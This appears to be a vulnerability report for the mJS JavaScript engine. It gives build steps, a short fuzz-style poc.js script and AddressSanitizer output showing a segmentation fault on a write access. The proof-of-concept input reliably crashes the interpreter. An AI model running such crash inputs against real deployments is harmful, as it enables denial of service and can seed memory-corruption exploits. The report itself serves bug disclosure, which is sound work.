SEGV (/usr/local/bin/mjs+0x2c6ae)

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
function JSEtest(b) {
  (gc(typeof (gc(typeof this)==="undefined"))==="undefined");

  if (b < '#"$$abcdabcd"'.indexOf(gc --(typeof (gc(typeof this)==="undefined"))==="undefined"))
    JSEtest(b+'#1"$$abcdabcd"'.indexOf("$$abcdabcd"));
}
JSEtest(0);
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==95067==ERROR: AddressSanitizer: SEGV on unknown address 0x55cbea3db63c (pc 0x55cbea3db6af bp 0x0000000000b5 sp 0x7ffc46f4e118 T0)
==95067==The signal is caused by a WRITE memory access.
    #0 0x55cbea3db6ae  (/usr/local/bin/mjs+0x2c6ae)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/usr/local/bin/mjs+0x2c6ae)
==95067==ABORTING